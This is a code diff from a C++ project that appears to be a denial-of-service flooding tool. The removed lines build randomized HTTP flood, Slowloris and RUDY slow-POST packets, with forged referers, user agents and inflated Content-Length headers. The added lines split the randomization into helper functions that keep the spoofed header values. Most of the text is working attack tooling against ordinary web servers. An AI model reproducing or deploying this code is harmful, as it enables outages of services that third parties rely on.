@@ -44,91 +44,41 @@ namespace Randomizer{
44
44
return vec[randomInt (0 , static_cast <int >(vec.size ()) -1 )];
45
45
}
46
46
47
- static const std::string randomPacket (const config *conf, bool keep_alive=false ){
48
- std::string packet{};
49
- std::vector<std::string> encoding{" \'\' " , " *" , " identity" , " gzip" , " deflate" };
50
- std::vector<std::string> caching{" no-cache" , " max-age=0" };
51
- std::vector<std::string> charset{" ISO-8859-1" , " utf-8" , " Windows-1251" , " ISO-8859-2" , " ISO-8859-15" };
52
- std::vector<std::string> contenttype{" multipart/form-data" , " application/x-url-encoded" };
53
- std::vector<std::string> methods{" GET" , " HEAD" };
54
- std::vector<std::string> referer{" https://www.google.com/" , " https://www.yahoo.com/" , " https://www.bing.com/" ,
55
- " https://twitter.com/" , " https://www.facebook.com/" , " https://www.msn.com/" ,
56
- " https://www.youtube.com/" , " https://yandex.com/" , " https://www.amazon.com/" };
57
- switch (conf->vector ){
58
- case config::UDPFlood:
59
- case config::TCPFlood:
60
- return randomstr ();
61
- case config::HTTP:{
62
- packet += randomize_Vector (methods) + " /" ;
63
- if (conf->RandomizeHeader ){
64
- packet += randomstr ();
65
- }
66
- packet += " HTTP/1.0\r\n User-Agent: "
67
- + (conf->RandomizeUserAgent ? randomize_Vector (conf->useragents ): conf->useragents [0 ])
68
- +" \r\n Cache-Control: " + randomize_Vector (caching)
69
- + " \r\n Accept-Encoding: " + randomize_Vector (encoding)
70
- + " \r\n Accept-Charset: " + randomize_Vector (charset) + " , " + randomize_Vector (charset)
71
- + " \r\n Referer: " + randomize_Vector (referer)
72
- + " \r\n Accept: */*\r\n Connection: Keep-Alive"
73
- + " \r\n Content-Type: " + randomize_Vector (contenttype)
74
- + " \r\n Cookie: " + randomstr () + " =" + randomstr ()
75
- + " \r\n Keep-Alive: " + std::to_string (randomInt (1 , 5000 ))
76
- + " \r\n DNT: " + std::to_string (randomInt (0 , 1 ))
77
- + " \r\n\r\n " ;
78
- return packet;
79
- }
80
- case config::Slowloris:{
81
- if (keep_alive){
82
- packet += " X-a: "
83
- + std::to_string (randomInt (1 , 5000 ))
84
- + " \r\n " ;
85
- }else {
86
- packet += randomize_Vector (methods) + " /" ;
87
- if (conf->RandomizeHeader ){
88
- packet += randomstr ();
89
- }
90
- packet += " HTTP/1.0\r\n User-Agent: "
91
- + (conf->RandomizeUserAgent ? randomize_Vector (conf->useragents ): conf->useragents [0 ])
92
- + " \r\n Cache-Control: " + randomize_Vector (caching)
93
- + " \r\n Accept-Encoding: " + randomize_Vector (encoding)
94
- + " \r\n Accept-Charset: " + randomize_Vector (charset) + " , " + randomize_Vector (charset)
95
- + " \r\n Referer: " + randomize_Vector (referer)
96
- + " \r\n Content-Type: " + randomize_Vector (contenttype)
97
- + " \r\n Cookie: " + randomstr () + " =" + randomstr ()
98
- + " \r\n Accept: */*"
99
- + " \r\n DNT: " + std::to_string (randomInt (0 , 1 ))
100
- + " \r\n X-a: " + std::to_string (randomInt (1 , 5000 ))
101
- + " \r\n " ;
102
- }
103
- return packet;
104
- }
105
- case config::Rudy:{
106
- if (keep_alive){
107
- packet += randomstr ();
108
- }else {
109
- packet += " POST /" ;
110
- if (conf->RandomizeHeader ){
111
- packet += randomstr ();
112
- }
113
- packet += " HTTP/1.0\r\n User-Agent: "
114
- + (conf->RandomizeUserAgent ? randomize_Vector (conf->useragents ): conf->useragents [0 ])
115
- + " \r\n Cache-Control: " + randomize_Vector (caching)
116
- + " \r\n Accept-Encoding: " + randomize_Vector (encoding)
117
- + " \r\n Accept-Charset: " + randomize_Vector (charset) + " , " + randomize_Vector (charset)
118
- + " \r\n Referer: " + randomize_Vector (referer)
119
- + " \r\n Content-Type: " + randomize_Vector (contenttype)
120
- + " \r\n Content-Length: " + std::to_string (randomInt (100000000 , 1000000000 ))
121
- + " \r\n Cookie: " + randomstr () + " =" + randomstr ()
122
- + " \r\n Accept: */*"
123
- + " \r\n DNT: " + std::to_string (randomInt (0 , 1 ))
124
- + " \r\n X-a: " + std::to_string (randomInt (1 , 5000 ))
125
- + " \r\n " ;
126
- }
127
- return packet;
128
- }
129
- default :
130
- return " " ;
131
- }
47
+ static const std::string random_referer (){
48
+ static std::vector<std::string> referer{
49
+ " https://www.google.com/" , " https://www.yahoo.com/" , " https://www.bing.com/" ,
50
+ " https://twitter.com/" , " https://www.facebook.com/" , " https://www.msn.com/" ,
51
+ " https://www.youtube.com/" , " https://yandex.com/" , " https://www.amazon.com/" };
52
+ return randomize_Vector (referer);
53
+ }
54
+
55
+ static const std::string random_useragent (const std::vector<std::string> &useragents){
56
+ return randomize_Vector (useragents);
57
+ }
58
+
59
+ static const std::string random_encoding (){
60
+ static std::vector<std::string> encoding{" \'\' " , " *" , " identity" , " gzip" , " deflate" };
61
+ return randomize_Vector (encoding);
62
+ }
63
+
64
+ static const std::string random_caching (){
65
+ static std::vector<std::string> caching{" no-cache" , " max-age=0" };
66
+ return randomize_Vector (caching);
67
+ }
68
+
69
+ static const std::string random_charset (){
70
+ static std::vector<std::string> charset{" ISO-8859-1" , " utf-8" , " Windows-1251" , " ISO-8859-2" , " ISO-8859-15" };
71
+ return randomize_Vector (charset);
72
+ }
73
+
74
+ static const std::string random_contenttype (){
75
+ static std::vector<std::string> contenttype{" multipart/form-data" , " application/x-url-encoded" };
76
+ return randomize_Vector (contenttype);
77
+ }
78
+
79
+ static const std::string random_method (){
80
+ static std::vector<std::string> methods{" GET" , " HEAD" };
81
+ return randomize_Vector (methods);
132
82
}
133
83
}
134
84
0 commit comments